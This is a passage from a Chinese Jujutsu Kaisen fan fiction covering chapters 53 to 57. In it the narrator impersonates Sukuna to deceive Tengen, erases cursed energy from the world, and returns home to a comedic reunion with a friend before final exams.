我让自己沉浸在两面宿傩的状态中,尽力模仿着他的神态、语气,不让天元看出破绽。 这个二次置换的身体主权是一张绝杀牌,一定要留在最关键的时候使用。 “我死了,但你也不算活着。” “不,你只是被分化成了咒物,我也只是需要不断地更换身体,我们都还活着!” 天元对生存的执念极深,但她的神色显然带着几分慌乱。 我一下子就掐住了这个关键,冷笑了一声,“若真是命运如此,我就不会有站在这里的一天。世界创造了我们的力量,如果祂真的满意于现状,又何必让新的诅咒从我的力量中孕育,诅咒之诅咒——这种新生之物,难道不正是说明了命运的态度吗?” 攻人先攻心,我的力量和天元势均力敌,但论时间堆积的经验,她绝对在我之上。 但天元的一切选择,都寄托在她对「命运」的理解上。她坚信自己做了世界想让她做的事——当然,她当年的判断并没有错,那确实是世界意识之所想。 但正因做过一次那样正确的选择、正因感受过一次被命运推动、扶持的计划,所以才更清晰地知道,命运安排的绝对性。 她在这一次的宿命轮回中失利太多,而我前期的诸多安排恰到好处地顺利进行。 被命运思维所桎梏的天元,即使不说,也一定会在潜意识里怀疑。 她根本不知道,此时的“命运”重新站在了她那一边,她只会怀疑自己。 心志动摇,就是必败之局。 天元的呼吸频次不自觉地加快,“不,兄长大人!这个轮回的平衡,才是命运的根基!” 她提高的声调甚至称得上失态,可这失态之语,却不像是在说服我,反倒像是在说服她自己。 “吾妹天元,你真可悲。”我语气一沉,准备在她最柔软的地方,给她的心志最后一击,“木笼神龛,封印结界,还有这薨星宫,究竟有什么区别?” 甚至,这三个将天元和两面宿傩囚困一生的牢笼,都在同一片土地上。 兜兜转转,二人终于还是回到了这片土地。 天元瞳孔地震。 她自己未必没有想不通这些,但人总要逃避的本能,她从来不敢细想这个问题。 “过去了那么多年,你竟还在那个打不开的木笼里。” 如果说,两面宿傩被强行推回了“木笼”囚困之中,那天元就是自己走进去的。 “不仅自己在木笼之中,还将我也重新推了回去。我至少自由过,但是你——”我看着那早已因为战斗而残缺不全的薨星宫神殿,“难道不是给自己重新建造了一个神龛木笼吗?” 第53章 天元心神大动, 一瞬间咒力分散,连脚下的「魔虚罗」都维持不住,一阵虚晃。 她所做的一切, 都只凭胸口一股气。 上千年一直坚信的理念一散, 连带着对术式的控制力都在断崖式地下跌。她原本就是用自己在这片土地上种下的咒力影响力,强行催化了术式后,又强行剥夺。 即使她绝对也算得上是咒力之源, 但已经分出去的东西,就不再真正属于她了。 那些术式不是她力量的延续,而是独立的。 天元能够顺畅地使用那些术式,完全是因为她的绝对压制力。 但现在, 这种压制力动摇了。 我压制住自己内心的喜悦, 不让那种幸灾乐祸表现得太明显,决不能在天元面前OOC。 现在的一切战果,都建立在我这个两面宿傩的人设上。 毕竟,天元的心志不该这么容易被动摇。 别说她最初就有足够坚强的意志力和行动力来背刺两面宿傩,哪怕是一个普通人被自我洗脑了上千年, 也绝不会被一两句话所击溃。 但, 说这个话的不是别人。 我是用两面宿傩的口吻说出了那样扎心的话,这个世界上, 只有两面宿傩的话能真正穿透到天元的心里。 也只有两面宿傩真正有资格在这一点上反讽天元。 这样想的话, 两面宿傩对我身体的争夺和控制,反倒是一件好事了。 但说到底, 就是因为那些年重复的概念深入她心, 所以当对“命运”的信赖出现裂痕的时候, 自我怀疑才会达到顶峰。 那些年的不撞南墙不回头, 后来想起, 也成了一种不能放弃的沉没成本,变得可笑了起来。 “不、不是这样的……”天元一吸鼻子,整个人的精神就像是被强撑起来似的,“兄长大人,这是唯一的办法,否则、否则——覆巢之下,焉有完卵?” 这个覆巢之下无完卵,指的应该就是没有平衡的世界下场。 我之前也亲眼见过,世界远没有人们想象得那样坚固。 天元的所作所为确实维系了整个世界的平衡,并且将这个平衡维持了千年。 她或许算不上什么绝对的正义,但绝对有所作为。 只不过,世界意识是个相当难伺候的东西——更重要的是,构建这个世界的“创世主”本身就相当难测。 而且,天元没有说真话。 我借着两面宿傩不会听这种冠冕堂皇话的人设,冷笑出声。 两面宿傩自己并非不懂天元所说的道理,只是不在意罢了。 “世界倾覆,与我何干?” 我盯着天元,时刻不停地运转着体内的诅咒。 只有诅咒在运作,身上的咒纹才能足够清晰明亮。 我没有在天元恍惚的情绪下持续重锤。 物极必反,要是压过了头,很可能会起到反作用。 看她脚下「魔虚罗」的状态结构依然在稳定的范畴内,现在恐怕也不是偷袭的好时机。我只是默不作声地将诅咒铺开,一点点摸索到她身边。 绝不是有攻击性的诅咒,我只是要像当初探查五条悟咒力结构那样,探查天元。 “天元——”我的语气略微一缓,虽然不确定宿傩对天元的情感,但天元对宿傩绝对是倾注了感情和幻想的。只要有一点幻想,就足以让我打一手温情牌,“吾妹,我从来不想外人的死活,正如别人也未曾想过你我的死活。从最初到现在,难道你倾注一切维系的命运真的眷顾过你吗?” 用语言把天元和我先划到一起去,这是降低攻击性的最直接简单的方式。当然,我也没有说错什么。 他们兄妹俩的世界,从最一开始,就是只有彼此的,他们就是这样长大的。 之前试探天元的态度也证明了这一点。 果然,天元的手指不自觉地抽动,身体也微微颤抖,像是在方才的激战后,被浇灌了一脉甘泉似的。 甚至,我都想用“抓住救命稻草”这样的话来形容她此刻的眼神。 我没有那一刻比当下更清晰地认知到,天元究竟如何渴望着两面宿傩的理解和认可。 要我说,她也是个不长嘴的拧巴人,某种程度上完全接替了夏油杰的“大义”角色。 “兄长大人,命运确实没有眷顾过我们,但我也没有想过要为外人做些什么。”虽然言辞语气并不激烈,但她几乎是迫不及待地向两面宿傩表达了自己的意愿。 我觉得此时此刻,她一定是卸下了一切顾虑,想要趁着这股情绪和两面宿傩剖析自己。 我突然有些难过,因为她所面对的人,不是宿傩,而是我。 甚至,为了确保两面宿傩不出来搅局,我将体内的生得领域和外界完全隔绝了起来。 这意味着,她的话,两面宿傩一个字都听不到。 我突然想起那根被供奉起来的手指,我都不敢想她在那些独自守在薨星宫的日子里,和那根手指说了多少话,以至于手指上都被咒力浸染得没了诅咒反应。 我一开始实在是低估了天元的感情,最后那一根充满咒力的手指上,根本没有我所防备的陷阱,只是天元情感的寄托。 “自始至终,我都只是希望,我们两个能活下去——我希望兄长大人能够活下去!”天元的声音终于大了起来,“如果不把一切都掌握在自己手里,谁知道祂又会使出什么招数呢?一切都是注定好的,甚至从最一开始,兄长大人的咒力都与我有别。您的情绪总是那样纯粹,「新尝祭」前后我便意识到了,我劝得了您一次,劝不了您一世,转化成诅咒是迟早的事。” 天元不是没有尝试过隐晦地劝阻两面宿傩。 但人心人性,岂是轻易能够改变的。 两面宿傩即使感知到了她的隐晦表达,也绝对无法改变自己的本性。 天元也是如此,所以她才做了自己能看到的最好的选择。 “一旦兄长大人为这个世界带来了充足的诅咒,命运就不再需要您了。正是因为我们在那样的神龛中成长,才更应该知道,祂没有任何怜悯和感情的。” 若真是有怜悯,也只会让后来的两面宿傩更加难受。 他痛恨任何人的居高临下,所以才把自己捧得唯我独尊。 “与其,将一切交给命运,不如将它掌握在自己手里。”天元的眼睛里没有一丝光亮,不自觉压低的语气和宿傩无限接近。 难怪,即使她做到了世界原本就希望达成的平衡,世界意识还是想办法推动了羂索的一切行为。 早在不知道哪一个瞬间,掌控与被掌控的关系,变得暧昧不清了。 “兄长大人,我在很多人身上试验过了。若是从四肢向内破坏,身体内的力量避无可避,只有自爆。但如果,是从身体中心向外攻击,身体末端就能分散力量,成为独立的咒物!身体末端之物,又以手指最为稳妥!十根手指尚且如此,二十根自然绝无差错——我演练过无数次,不会失手。” 天元绝不想杀死两面宿傩,她是在想办法催化咒力向诅咒和咒灵完全转化。 为了这个目的,她的手段,可不会是一字轻描淡写的“试”能带过的。 这个时候才能感觉到,她和两面宿傩,是真真正正的亲兄妹。 第54章 天元将自己的心意埋在了大义之下, 但大义对她而言远不如私心重要。 当初,她甚至连两面宿傩要转化的咒物形态都计划好了。 不知道两面宿傩听到这样的话会是什么感受,但我细想之下, 却有些毛骨悚然。 “兄长大人, 现在还来得及!命运没有完全脱离掌控,我还有办法修复,只要重新将聚集起来的力量分散出去——我们就还能……” “我宁愿死在笼子外面, 也不愿在笼子内苟活。”我直接打断了天元的话。 “不完全是困在笼子里,兄长大人!千年来我无数次尝试给您制作受肉,但从来没有成功过,现在这个身体简直是天赐之机。只要您把力量分散开, 您的意识依然可以肆意在外。咒术界完全在我的控制之下, 重新架构诅咒和咒力的体系并非毫无可能,构建两个敌对体系让他们去厮杀,兄长大人就可以获得自由!” 这是打算完全把世界当作一个游戏场? 这不仅仅是涉及咒术界,两面宿傩的性子可不会顾及什么保密协议,这个所谓的“自由”必然是要打破表里两个世界的界限。 天元还在喋喋不休地给我补充计划的细节, 沉浸式给两面宿傩铺路。 “再说得如何漂亮, 也不过是有形之笼和无形之笼的区别,”我抬手, 止住了他的话头, “无需多言。” 天元的计划还有一大半尚未说出口,但我这个伪·两面宿傩的态度已然明确。 她的肩膀一沉, 眼神顿时空洞起来。 “但……我们可以, 自由的、活着的——” “天元, 我什么时候改变过自己的意志?” 在她心神恍惚之际, 我乘虚而入的诅咒已经摸清了她周身的咒力结构, 只差她的本体。 她脚下的「魔虚罗」也完全丧失了那最初的浓烈战意,天元控制的放松让「十种影法术」的术式本身出现了反叛。 它真正的主人距离这里实在是太近了。 组成「魔虚罗」的式神正在想尽办法突破桎梏。 已死的式神不会这么快地复活重生,那我能想到的对主人极端忠心的式神,就只有「玉犬」。 它们一黑一白,在体内啃噬着「魔虚罗」的咒力。 虽然我并不认为「玉犬」真的可以突「魔虚罗」的身体,但它们的努力,无疑让天元控制下的咒力更加松散。 天元自己应该也有感知。 只是此时,她实在没有关注式神的精力,一门心思只扑在我身上。 “哪怕是为了我,就这一次,也不行吗?”天元的眼眶发红,发出了绝望中的最后一次无声嘶吼。 我知道,如果此时再强硬拒绝,只会再次触发一场大战。 两面宿傩不曾为谁改变过意志,天元也是一样。 她在背刺两面宿傩的时候,不是也没有问过两面宿傩的意图吗? 她不会因为我的拒绝而收手。 只是,天元也明白。 如果说上次自顾自的背叛还能因为她真实目的而有回旋余地,那这次一旦翻脸,可就完全等同于彻底决裂。 这一次之后,她就连自我欺骗的机会都没有了。 天元不愿意真的和两面宿傩完全决裂,所以才会有这最后的绝望一问。 我垂下眼睛,看着地面暗处、影子边缘有一个活物闪过。 一切准备就绪,是时候给天元最后一击了。 “你……是不一样的,和别的任何人都不同。”说话间,我卸下了自己的一切攻击欲望、甚至没有让太多的诅咒运作于周身,无害地靠近了天元。 我柔和下来的语气无疑给了天元一种错觉,她在绝望中看到了我伸出的手。 正如我之所想,天元不愿意和两面宿傩决裂,所以我的话语就是再敷衍,她也必须要相信我的反应。 人们总是相信自己想要相信的东西。 她看着我靠近,看着我走到她面前,看着我将她揽入怀中拥抱。 这种带有OOC性质的温情行为,不是不会让人疑惑,但此时的天元,已经没有了判断能力。 “兄长大人——” 她的声音带着从一千年前传来的哽咽,在这个绝对的理智低点,我的诅咒迅速探入她的本体。 不是攻击,是试探。 将她体内的咒力结构也完全摸清。 时机成熟! 我弹了一点诅咒向下,是为信号。 “天元,你真是情深义重,”这句话后,我完全舍弃了两面宿傩的声线,身上的咒纹也随之褪去,“只可惜,他一句也没有听到。” 我不需要亲眼看到,就能感觉到天元的震惊。 在这个瞬间,惊还来不及转成怒。 我渗入她体内的诅咒清晰地感知到了她强烈混乱之下的松懈。 就是现在了! 影子暗处飞身而上,黑色的绳子缠绕在我和天元的身上。 顿时,力量便和我们的身体完全隔绝起来。 这是我特意留下的「黑绳」。 虽然这种咒具对于现在我和天元来说,恐怕难以长期奏效。 但有这么一个瞬间也就够了。 「天逆鉾」随即而上,伏黑甚尔那「天与咒缚」的身体在某种意义上,和天元完全是一个级别。 在那把匕首插入她的后背之前,她竟无丝毫察觉。 伏黑甚尔一刀之后完全不贪,一个眨眼都没有拖延就迅速撤走。 也就是他撤走的瞬间——这接连攻击的两三秒后,天元终于反应了过来。她瞪大眼睛,身体顿时被愤怒所接管。 不仅仅是愤怒,还有耻辱。 在天元看来,对两面宿傩以外的任何人剖析自己,都是一种耻辱。 一股剧烈的咒力在她的体内运作,生生将「天逆鉾」搅得粉碎,连带着「黑绳」也失去了作用。 但,大势已去。 她越是愤怒,咒力就越是激烈,从这个由「天逆鉾」破坏而出的缺口就越清晰。 我的诅咒毫不客气地钻了进去。 目的非常明确,直奔她咒力结构的各个节点,拆掉了由不同术式组合起来的完美架构。 她毕竟没有融合星浆体,她的身体根本就不稳定。 “啊——!” 天元抑制不住的声音和体内的咒力鸣叫重合。 刚才有多期望,现在就有多绝望。 只有这一刻、唯这一刻,她连原本想要和两面宿傩共同活下去的愿望都忘了,只想要杀死我,甚至是和我同归于尽。 我要的就是这个同归于尽! 我打开两面宿傩的桎梏,此时已经无所谓身体究竟由谁控制,他的意识上浮所面对的第一件事,也是天元近乎自毁的攻击。 他对天元没有感情吗? 绝不可能。 但对于两面宿傩来说,比起和天元一起苟活,还不如就此同归于尽。 我就是猜中了他和她的理念,所以才敢如此行事。 被骗过一次,天元不可能再马上相信我身体的主权所属。 毫不犹豫地,我放开了对自己身体的控制。两面宿傩没有听到前面天元自我剖析的每一个字,当是时,他来不及思考我为何放弃了对身体的控制,只有应对。 毫无保留地应对。 但我并非一点事也没做,诅咒的进攻线路早已构建好了,我需要的只是两面宿傩意识对自己诅咒的最大激化! 天元全部的咒力,两面宿傩的全部诅咒——一切咒力的集合和一切诅咒的集合。 两种力量在我的预设下,极端平衡地撞在了一起。 咒力和诅咒的纠缠扭曲了空气。 「帐」被咒力吸附着向下拉扯,而我布置的诅咒系统又在诅咒的勾连中向上突刺。 完全相同的体系和力量,却又是完全相悖的从属和性质。 地面上,伏黑甚尔带着失去意识的伏黑惠尽力地躲避——这样大的阵仗,怎么看,都是要毁天灭地的节奏。 可是,除了一阵刺耳到仍然神经发麻的鸣叫,伏黑甚尔根本没有看到任何力量冲击的痕迹。 这种反常识的状态让他心中一慌。 可怕的不是已知的结局,而是超越常识和经验的未知。 可就在他最慌乱的时候,怀中的男孩突然一动。 昏迷数日的伏黑惠在此时,睁开了眼睛。 第55章 伏黑惠的动作并不大, 比起有意识的动作,他的身体更接近于抽动。 但哪怕只是呼吸的变化,都足以引起伏黑甚尔的警觉。 毕竟, 自从伏黑惠被抽调术式之后, 就再也没有真正醒来过。 “爸爸……?” 伏黑惠干涩的嗓子发出声音的时候,别说是伏黑甚尔,就是我都感觉到一阵热泪盈眶。 当然, 我的情绪波动很大程度上来源于天元和两面宿傩的力量碰撞,这种由情绪生产的力量,在激烈作用时,必然也会反作用于情绪。 “他不会再有事。”我在伏黑甚尔背后开口。 说实话, 我对伏黑惠状况的了解程度尤在比他亲爹之上。 突然, 压在我的声音之上,天空中的微鸣声如雷电般放大,剧烈的白光将他天空照亮,一时月亮都难争其辉。 以我顶正上方为核,光亮如水中涟漪向外波及, 一公里、两公里——直至将国土、将一切有咒力和诅咒印照的地方全部环抱起来。 “砰!” 一声雷鸣, 将整个太空都撕裂的闪电划开。紧接着,闪电仿佛将天空搅碎, 一蓝一红两条灵魂纽带交织起来, 和闪电一起,消散化作点点星辰、坠落大地。我抬手, 接住了一颗亮光, 它就像是一颗带着温暖的火星子似的, 在我掌心化开, 留下了温暖的触感。 这就是, 咒力和诅咒抵消后的最后实体。 “惠会失去意识,也是身体的一种保护机制。当式神成为负担之后,最好的办法,就是让术式被另外的力量压制、控制。”我握紧手掌中的温热触感。“你肯定也想到了吧,否则,你也不会在那么短的时间里,就意识到我的计划,还把惠的力量交给天元了。” 这份信任,可是赌上了伏黑惠的命。 在未成形的咒术师身体上,术式就是一种负担。 越是强大的术式,负担也就越重。 只可惜,即使术式有负担,也很难反制。 如此看来,反倒是让天元抽走对咒术师更加有利。 当然,抽取时间也是有讲究的。如果一觉醒就抽离,和从人柱力身上抽尾兽也没什么区别,术式和咒术师的连接是很深的,强行撕裂自然会危及生命。 但,当术式的负担已经将咒术师本身压到生死边缘之时,术式和咒术师之间的连接就会衰弱。再加上伏黑惠本身的术式特性——由式神组成的术式是有一定程度自我意识的,即使没有调服式神,但总有一些初始式神是不需要调服的。 比如,「玉犬」。 当「玉犬」意识到自己成为负担之后,就会想办法保护自己的主人。 内呼外应之下,伏黑惠的术式剥离才会如此有效。 伏黑甚尔真是聪明,只是看到我故意下来的「黑绳」和随之赶来的天元就能迅速领会我的意思。 “没有了咒力的概念,术式也就失去了意义。” 我抬头看着久久不散的“坠落星光”,咒力和诅咒、天元和两面宿傩,以及「帐」和诅咒网络,所有的力量我都是完全配平之后才敢对冲的。 甚至,连那对兄妹的意识也被我计算在内。 一对双生对立的灵魂和激烈对冲的意志,一切正反相悖的,都会消散。 “你可真是不得了。”伏黑甚尔换了个姿势,怀中的伏黑惠并没有清醒太久,长期的消耗让他的精神依旧疲惫,很快就睡了过去。 这次,真是普通的休息,而非昏迷了,伏黑甚尔的声音都因此放松了许多,“你之前说的再无咒灵和咒术师会来骚扰我们……咒灵便也罢了,可咒术师——我还想你要怎样控制人心,没想到,你竟是打的这个算盘。” “与其让悲剧一代一代周而复始,倒不如让一切在此终结。” 咒力和诅咒能够达到平衡没错。 但如果二者全部消失,岂非也是一种平衡? 世界意识就是察觉到了我的意图,所以才会拼命阻止。 只可惜,已经迟了。 该做完的,都已经结束了。 我当然知道,如此瞬间消除掉诅咒和咒力,绝对会让整个咒术界都丧失根基。那些咒术师们——尤其是在家族中生长的咒术师们,势必要重新适应这个世界、重新了解这个世界、重新踏入这个世界。 这个过程对任何人来说都非常艰难。 我自己最能感同身受的就是那些在校的咒术学徒们,一朝回到解放前,就业压力骤然变大。 的但就业的生命风险也随之减少了。 破茧的过程的痛苦是为了更好地绽放,这是必经之路。 不论怎样尝试打破宿命,那也只会是另一个宿命的开端。说到底,平衡是绝对的,只要咒力和诅咒还存在,一个宿命的终结,终究还是会成为下一轮宿命的开始。 只有现在这样,才称得上是一劳永逸。 即使无法真的完全“永逸”,那我也要让这场“逸”的时间,拖到更长的时间线里去吧。 我不禁有些洋洋得意,这么重要的事、别人都做不到的事,我却做到了。 甚至将天元和两面宿傩都玩弄于股掌,我得有多厉害? 而且,我早先就意识到了,家族的底蕴并非只有“力量”这一个词,咒术界、总监部也不是一点其他分流渠道都没有。 咒术师并不是一个简单的职业,而在这份职业汇中,咒力和术式之外,还对心志、思维、毅力、体力等多方面皆有要求。 能够在咒术修行上有所造诣的人,在任何领域中都绝不会差。 单是咒术师那晨间体术、晚间冥想对早睡早起的最基本、最底层自律要求,就已经让大多数人望而却步。 更何况,两所高专在明面上,也都是正经注册的学校。 所以,我动手之前的犹豫并不算多,即使没有了咒力,也有其他出路。 而我做的事,却是唯一的路——一个咒术师们不可能主动走的路。 “但已经存在的体质不会消失,你现在已经不是唯一的‘零咒力’了,但应该仍是最后的「天与咒缚」。”我眼睛一转,“啊,还有「六眼」,没有咒力支撑的「六眼」不会再具备无限收集信息的能力,但那种全角度视野却不属于咒力推动的范畴。” 会轻松很多,就像咒力隔绝时的轻松感一样。那双仿佛将天空都容纳进去的眼睛,就是去开启爱抖露支线,也绝对能满成就。 没有了咒力,对那些被强行剥离了术式的人,也是一件好事。 他们身体上咒力运转带来的二次伤害也会随之消失。 不过那些后日谈,就不是我该考虑的事情了。 “这很好。”伏黑甚尔的眉眼难得柔和,视线包裹着怀中的伏黑惠。 这样被术式和咒力威胁的事,不会再发生第二次了。 他原本,也就更希望妻儿能过普通人的日子,“只不过,恐怕不是所有人都和我想得一样。” 这点我当然想过。 “我知道,越是强大的咒术师,就越不会愿意做这样的事;但如果没有足够强大的力量,就不足以支撑这件事的实施。所以,解决咒术师和普通人的矛盾,才只有想要全民进化的理想、才只有让世界只剩下咒术师的愿望,”我顿了顿,一时有种强烈的责任感萦绕在胸口,“反正不管别人愿意不愿意,事情我都已经做完了,再没有回转的余地——我,就是他们的命运。” 咒术界、总监部、御三家、两所高专——这些咒术界的权威机构后面要如何安置、改编现有体制和人、是要适应还是要重新在找回力量上做无用功,都不是我在意的。 我的目的,自始至终就只有一个。 “还是最初的问题,有没有兴趣?”我看着伏黑甚尔,伸出一只手。 伏黑甚尔盯着我的表情,他曾经无比怀疑我的说辞,此时却大笑了起来,抬手用力地回握住我,“那就请多指教了——老板。” 第56章 系统:SSR伏黑甚尔已放入卡槽。 我甚至给自己配了个系统音, 当事情顺畅进行的时候,我当然应该无比开心。 但很奇怪,我实际上并不觉得自己有多清晰的情绪。 大概是两面宿傩和天元之间的力量交织, 终究还是对我这个处在战斗中心的“介质”留下了一些影响。 我的情绪在激烈的急变之后, 随着咒力和诅咒的彻底消散,就变得温暾起来。 达成了协议,我目送伏黑甚尔离开。 他虽然嘴上不说, 但心里依然记挂着伏黑惠的身体情况。 如今没有了咒术师一说、也就不存在所谓的「反转术式」,没有了咒力影响,一切身体问题都是普通意义上的医学问题。 他的妻子就是护士,不论是初步检查、还是安排体检都比伏黑甚尔本人更加专业。 更何况, 当时和妻子分开, 原本就是因为咒力源的伏黑惠太过危险,此时问题解决,当然要一家团聚以安彼此之心。 但他回家容易,我回家可就麻烦了。 我蹲下身,在地上捡起一片「天逆鉾」的碎片, 将碎片的尖尖顶在脖颈上。 虽然这天下的咒具都已经失去了效果, 但刀就是刀,物质性并无改变。 刀锋刺入我的皮肤, 血液顺着碎尖流向手指。 略微试探一下效果, 然后才有机会一并带走伏黑甚尔。 这个世界不宜久留,谁知道那些咒术师们会对我做出怎样的报复行为, 我的大义可不是谁都能理解的。 快速在大脑中几番复盘行动过程后, 我不可控地站在一种俯瞰众生的角度睥睨一切。 可「天逆鉾」碎片带来的刺痛之下, 我想要尝试割喉的手突然停了下来。 我突然意识到了脖颈里的异物感, 我的手指伸入伤口中一摸, 果然摸到了一片硬物。 看形状,应该是我的金属手指周边? 我向外一拉,却发现它已然没有了金属的形状,在接触到空气的瞬间,金属周边便化作了一团流光。 唯有周边产品轮廓的线条将流光困在其中。 就仿佛——它的力量都被抽光了一样。 可是,我真的用过它吗? 诚然,在我差点被两面宿傩记忆同化之时,金属周边成了我回神反同化的关键。 但,那不是使用。 它只是一种提示。 我的大脑快速转动,必须要赶快想出个所以然来。 金属周边的边缘越来越模糊——如果这个和唯一和真实世界有联系的锚点消失的话,那我就算是在这个世界失去了生命,又该如何找到回去的路线和方向? 回去的……锚点…… 锚点。 不属于这个世界的特殊之物! 我瞳孔一缩,之前为了防止被天元看出破绽,我完全沉浸在揣测天元眼里的两面宿傩人设中,以至于我仿佛真的把天元眼中的两面宿傩当作了真正的两面宿傩。 但,一个人的真实,和这个人在别人眼中的样子是有区别的。 即使这个“别人”是胞妹也是如此! 我被这种沉浸式的思考、表演蒙蔽了双眼,完全忘记了,两面宿傩的咒物可不只有天元认知中的二十根手指。 还有个羂索在! 金属周边产品是不属于这个世界,就像羂索也不属于我的世界一样! 我完全忘记了,还有一个流落在外的“大脑”。 如果没有羂索的诅咒,两面宿傩的力量就算是经过了本尊的意识催化,也绝对达不到与咒力完全抵消的程度。 我看着漂浮在掌心中的手指—— 是这个手指的金属周边被世界意识同化后的力量,填补了这一空缺! 我用力咽了口唾沫,这一时疏忽简直是个致命的错误,如果没有这份“世界之外”的力量填补的话,刚才那样的撞击抵消之中,咒力就会占据微妙的胜局,将平衡完全打破。 那才是真正的世界倾覆! 改变世界的洋洋自得在我心中瞬间消失大半,我根本不如自己所想的那样算无遗策。相反,我甚至是在一个最简单、最直接的问题上犯了大错。 世界的平衡是大问题,不是谁都能轻易插足的。 我究竟在得意什么? 我揉着眉心,一种强烈的后怕从我的脚跟爬了上来,密集地刺激着我的汗腺。 我迅速冷静下来,那种虚幻的自负感被我压住,仿佛踩在云端的飘飘然被替换成了实地。 我得更加务实才对。 金属手指边缘的线条在空气中不断地磨损着,很快,困住流光的有形之线边破出了一道小口。流光流动起来,连到地面,直直穿过土壤,不知通向了何处。 不对,我知道它通往何处的! 它属于我的世界,是打开我回家之门的钥匙。 羂索的大脑可无法成为我搜寻返程的锚点——已经没有了咒力和诅咒的世界,我也一并丧失了感知咒物的能力。 金属周边是我唯一的机会! 我攥紧了流光之绳,闭上眼睛,专心地将自己和流光连成一体。 被平衡骤变冲击的世界意识尚有一丝余力,就像他之前拼命想要阻止我一样,在如此巨大的变故后,祂对我的同化变为了排斥。 简单来说就是——祂想要赶快把我踹出去。 踹到哪里都无所谓,哪怕是踹在各个时空的夹缝中被撕扯而亡也无所谓。 这对仍处于这个世界的我来说,是一种绝对危险的信号。 但理智上思考,这种排斥让我和世界之外的金属周边之间的连接变得更加顺畅。 有一瞬间,我仿佛连自己的身体都成了流动的东西,沿着金属周边的线路上下飘摇。强烈的失重感传来,被放入搅拌机似的感觉让我眩晕。 但我不敢分神、甚至不敢睁开眼睛——任何对外物信息的本能处理都有可能让我跟不上金属周边的流动速度和节奏。 它的残余太少,所以无法将我直接推回原本的来路上。 突然,流动感凝结,我的身体似乎被重塑成了实体,我猛一睁眼,天花板映入眼帘。 这是学校图书馆自习室的天花板。 上一个暑假,学校才刚刚重刷了的白墙。 搅拌机般的失重感一停,紧接着,更直接的地心引力带来了新的失重。 我向下重重一砸—— 说实话完全不疼,好像有个软垫子接着我一样。 紧接着,“啪叽”一声。 一股湿润感浸透了我的裤子。 我好像,碾碎了什么东西? 是黏腻的触感。 “喂!你还要在我身上坐多久!” 我一低头,就看到了基友那满脸黑雾的表情,这双眼睛的杀气可一点也不比两面宿傩少! 我赶紧站了起来,这才注意到,刚才被我一屁股坐碎的东西,是羂索的大脑。 难怪,如此恶心。 我的手指生理性的抽动,碎裂的羂索中流淌出浓厚的诅咒。 诅、咒! 或许是我身上还留着某种两面宿傩的特质、又或是我是这个三次元真实世界唯一一个有诅咒经历的人。 这股力量就像疯了一样钻入了我的身体,激出了那些隐藏在我体内、却因为诅咒消逝而失去存在感的术式。 我眼睛一眯,细密的树枝从羂索碎裂的大脑中长出,如同某种缝合工具一样,将他那个脑子重新粘合在了一起。 这个现象让我马上确定,我吃掉的强大咒灵术式,依然在我身体系统之中。 “这,被门夹过的核桃,还能补脑吗?” 基友嘴角抽抽,看着我的动作露出的表情一言难尽。 “「无为转变」。”我手一捏,更好用的术式在枝木的辅助下,重塑了羂索的外形,“这般用术式粘合,尚且还能使用几分。” 我眼睛一转,“想来,咒力和诅咒被赋予了天元和两面宿傩,但术式的分发权力仍然属于世界意识,不在那二人的掌控范围。世界意识毕竟与那兄妹,并不会马上消失或是重塑,也不会刷新人体,这才给了我将术式带回此间世界的机会。呵——” 这倒是一件好事。 “如此……我便可以用陀艮的术式来拓展领域,在这个世界和其他世界间隔绝出一个相对独立的空间。”我勾起嘴角,邪魅一笑,俯视着被重击,还未站起来的基友,“至于羂索,你大可放心拿去使用,不必有所顾忌,只记得一点,不要妄图用它做不该做的事。” 基友嘴角一抽,“不是,你有病吧?能不能语气正常点说话!” 我眉头微皱,“羂索的力量非同小可,你不谙世事,自然要谨慎使用。” “呵呵——”基友冷笑一声,“我要用它干什么,不知道吗?” “那你如此做派,是害怕羂索的影响?”我蹲下身捡起羂索的本体递到他面前,安抚道,“不必担心,两面宿傩本体消逝,又有世界差异,他已然无法兴风作浪。” “和我玩尬的,是吧?” 基友说着,却不知为什么,盯着我的脸半晌,眼中闪过一丝恍悟,话锋一转,突然微笑开口,“行啊,不是有什么领域吗,让小的我也长长见识?” 原来是对这个好奇。 确实,基友他一直很喜欢这种未知的刺激。 我也不多话,一个响指之下,诅咒从我身体中溢出——这可是两面宿傩的二十一分之一,力量非同小可! 我抓住基友,眼前画面飞逝,一切被黑暗占领。 和陀艮直接表现出的生得领域并不相同——这很正常,我只是用了他的术式,但他之所以会幻化出沙滩,是因为他对海岸最熟悉。 可我最熟悉的,为什么是一片黑暗呢? 我转头,正想要仔细观察一下,基友的拳头就近到了我眼前。 对他完全没有防备的反应下,这拳重击到了我的脸上。 “吔我友情破颜拳啦!还我憨憨基友,大记忆恢复术,启动!” 我重重向后一砸,紧跟着有什么东西从我身体里流出去了一样。 眼前的黑暗瞬间褪色,领域画面流转,柔软的床、明亮的窗,看番的电脑还有我专门用来放COS服的柜子! 卧槽! 卧槽槽槽槽槽槽槽槽槽槽槽槽槽槽! 我刚才在和基友装什么B。 基友危险地冷笑着,脑花的脑子像个篮球一样,在他手中上上下下。 好可怕的基友。 这、这都下得去手去抓? 生脑花啊,而且不是猪脑是人脑啊,不恶心吗! 紧接着我意识到我也拿过,甚至我裤子上还留着点“脑花汁”! 呕! “我说你不办事能不能靠谱一点,东西没断干净就回来了?” 基友说着指向我身后。 我一转身,这才发现身后近乎透明的线从我身后连向了窗外——对我这个本体意识来说,窗外就等于我的世界之外。 连接在这个夹缝的世界之外…… “世!界!意!识!”我终于反应过来了,“人设套人设的坑我啊,我去找爹咪当锚点不会是属于搬起石头砸自己的脚了吧!” 果然不是我抽象。 世界意识才是真抽象。 第57章 好消息, 这个二点五次元领域中的时间关系,和一般意义上的二、三次元都不相同。 这让我在经历了几乎无法计量的时间洗刷之后,依然有机会通过期末考试。 我的最后一周啊, 还有人记得我的文科考试三连击吗? 逃得了初一逃不过十五, 终究还是要考试的,不要挂科啊,我的奖学金君! 坏消息, 我穿越前一周的简单复习和穿越前一学期的学习全部木大。 任谁在经历过那样紧张刺激的生活之后,都很难再对一学期的学习内容有所熟悉了吧? 别忘了宿傩大爷那看不到边际的记忆,在那近乎无现场的记忆碎片里,我的记忆和知识就像是被格式化了一样, 删除了一切和保命没关系的东西。 那是生存的生理本能, 也是我现在的痛苦根源。 换而言之,这个学期学的东西、甚至上个学期学的东西,我都一丁点也记不起来了啊! 谁能想到,开辟空间之后要做的第一件事,竟然是从头学习这个学期的内容。 那厚厚的复习资料摆在我面前, 就像是无法逾越的大山一样。 我恨不得把一秒掰成一年来用。 除了考试, 还有基地建设的事需要我操心。 既然已经决定了要让这里成为根据地,那就必然不能让这里一直保持我家、我房间的模样。 